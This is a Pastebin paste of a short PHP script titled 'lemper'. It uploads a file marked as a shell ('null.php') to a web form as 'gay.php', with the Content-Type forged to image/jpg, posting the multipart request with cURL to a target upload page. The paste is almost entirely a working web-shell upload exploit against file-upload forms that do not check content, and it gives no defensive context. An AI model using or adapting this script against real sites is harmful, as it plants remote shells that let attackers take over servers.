Advertisement
RieqyNS13

lemper

Mar 5th, 2015
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.79 KB | None | 0 0
  1. <?php
  2. $file="null.php"; //shell
  3. $md5=md5(strtotime("now"));
  4. $data="-----------------------------$md5
  5. Content-Disposition: form-data; name=\"Filegambar\"; filename=\"gay.php\"
  6. Content-Type: image/jpg
  7.  
  8. ".file_get_contents($file)."
  9. -----------------------------$md5
  10. Content-Disposition: form-data; name=\"button\"
  11.  
  12. Upload
  13. -----------------------------17951627026322--
  14. ";
  15. $ch = curl_init();
  16. $opt= array(CURLOPT_URL => "http://127.0.0.1/tamper/index.php", CURLOPT_USERAGENT => "Mozilla 6666",
  17. CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_POST => 1,
  18. CURLOPT_HTTPHEADER => array("Content-Type: multipart/form-data; boundary=---------------------------$md5"),
  19.  CURLOPT_POSTFIELDS => $data
  20. );
  21. curl_setopt_array($ch, $opt);
  22. $cok = curl_exec($ch);
  23. echo $cok;
  24. curl_close($ch);
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement